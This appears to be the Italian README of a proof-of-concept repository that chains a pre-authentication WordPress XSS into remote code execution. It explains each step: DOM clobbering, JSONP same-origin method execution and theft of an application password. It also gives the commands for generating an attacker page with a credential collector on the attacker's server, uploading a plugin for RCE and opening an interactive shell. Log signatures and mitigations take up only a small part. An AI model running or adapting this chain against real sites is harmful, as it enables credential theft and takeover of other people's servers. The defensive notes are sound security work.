
Catena di exploit PoC per XSS pre-autenticazione su WordPress fino a RCE tramite DOM clobbering, REST JSONP/SOME e caricamento di plugin, con verifica in laboratorio Docker e shell interattiva.
Catena di exploit XSS pre-autenticazione su WordPress → RCE, basata sulla ricerca di pwn.ai pubblicata su ionsec.io.
⚠️ AVVISO LEGALE: Solo per SCOPI EDUCATIVI e TEST AUTORIZZATI. Utilizza solo contro sistemi di tua proprietà o per i quali hai esplicita autorizzazione scritta.
| Passo | Tecnica | Stato |
|---|---|---|
| 1 | XSS per differenza di parsing (sanitize_user + disallineamento di parsing del browser) | ✅ Verificato |
| 2 | DOM clobbering (<area id=ajaxurl>, <div id=color-picker>) | ✅ Verificato |
| 3 | Auto-trigger di user-profile.js nella pagina di login | ✅ Verificato |
| 4 | La callback REST JSONP consente il dot traversal (window.opener.approve.click) | ✅ Verificato |
| 5 | Override con _method=GET + _envelope=1 | ✅ Verificato |
| 6 | Furto della password applicazione (SOME) | ⚠️ Richiede il clic dell'amministratore |
| 7 | Caricamento plugin → esecuzione PHP (senza attivazione) | ⚠️ Richiede le credenziali |
Vedi lab/VERIFICATION_REPORT.md per tutti i dettagli.
Step 1: Parser Differential XSS
└─ sanitize_user() allows "< area>", "< div>", "< button>" (space after "<")
Browser parses these as real HTML elements in login error message
Step 2: DOM Clobbering
└─ <area id=ajaxurl> → shadows window.ajaxurl (HTMLAreaElement)
<div id=color-picker class=reset-pass-submit> → satisfies jQuery selectors
<button class="wp-generate-pw color-option"> → delegated click handler
Step 3: user-profile.js Auto-Trigger
└─ Enqueued on wp-login.php (line 1398)
$('.reset-pass-submit button.wp-generate-pw').trigger('click') fires
$.post(ajaxurl, ...) → target URL = area.href (attacker-controlled)
Step 4: REST API JSONP + SOME
└─ _jsonp=window.opener.approve.click → Same Origin Method Execution
_envelope=1 → bypass auth error, wrap response in 200
wp_check_jsonp_callback: regex /[^\w\.]/ allows dot traversal
Step 5: Social Engineering (1 click)
└─ Admin sees real /wp-admin/authorize-application.php page
Clicks "Approve" → application password minted
Step 6: Credential Theft
└─ Password appears in redirect query string → read by child window (same-origin)
Step 7: Plugin Upload → RCE
└─ Upload plugin ZIP → extracted to /wp-content/plugins/{slug}/
PHP files directly executable WITHOUT activation
pip install requests
python3 xss2shell_poc.py --target https://wp-target.com --check
# With Burp Suite proxy
python3 xss2shell_poc.py --target https://wp-target.com --check --proxy http://127.0.0.1:8081
cd lab
docker-compose up -d
# WordPress 6.0.3 at http://localhost:8080
# Admin: admin / password123
python3 xss2shell_poc.py --target http://localhost:8080 --check --no-ssl
python3 xss2shell_poc.py --target https://wp-target.com \
--attacker-host https://your-server.com --generate-page
Carica xss2shell_attacker.html e collect.php sul tuo server.
Un amministratore WordPress con sessione attiva deve visitare la pagina dell'attaccante e fare clic una volta.
Le credenziali compaiono in collected_creds.json sul tuo server:
[
{
"timestamp": "2026-08-08T...",
"username": "admin",
"password": "AbCd 1234 EfGh 5678",
"site": "https://wp-target.com"
}
]
python3 xss2shell_poc.py --target https://wp-target.com \
--username admin --app-password "AbCd 1234 EfGh 5678" --rce
python3 xss2shell_poc.py --target https://wp-target.com \
--username admin --app-password "AbCd 1234 EfGh 5678" --shell
python3 xss2shell_poc.py --target https://wp-target.com \
--username admin --app-password "AbCd 1234 EfGh 5678" --cleanup
Firme da cercare nei log del server:
POST /wp-login.php con body contenente < area, < div, < button_jsonp= (in particolare _jsonp=a.b.c — il punto è l'indizio di SOME)_envelope=1 + _method=GET su route che dovrebbero rifiutarliPOST /wp-admin/update.php?action=upload-plugin da IP non riconosciutoGET /wp-content/plugins/{unknown-plugin}/*.php — file PHP in un plugin mai attivatoauthorize-application.phpadd_filter('wp_is_application_passwords_available', '__return_false');
add_filter('rest_jsonp_enabled', '__return_false');
define('DISALLOW_FILE_MODS', true);
_jsonp=, _envelope= sugli endpoint REST; blocca < area nel body POST verso wp-login.phpxss2shell/
├── README.md # Documentation (this file)
├── xss2shell_poc.py # Main PoC script
├── xss2shell_attacker.html # Generated attacker page
├── collect.php # Credential collector endpoint
└── lab/
├── docker-compose.yml # Docker lab (WP 6.0.3)
├── VERIFICATION_REPORT.md # Step-by-step verification
├── test_sanitize.php # sanitize_user() tests
├── test_full_payload.php # Full payload chain test
├── test_browser.html # DOM clobbering browser test
├── test_end_to_end.php # End-to-end PHP test
└── verify_xss.sh # Automated curl tests
| Elemento | Dettaglio |
|---|
| CVE | CVE-2026-64638 |
| CVSS 4.0 | 8.9 |
| Versioni interessate | WordPress 4.7 – 7.0.2 (point release non aggiornate) |
| Corretta in | WordPress 7.0.3 (6 agosto 2026), riportata in tutti i rami di manutenzione |
| Autenticazione | Pre-auth (XSS non autenticato) |
| Impatto | RCE tramite caricamento di plugin |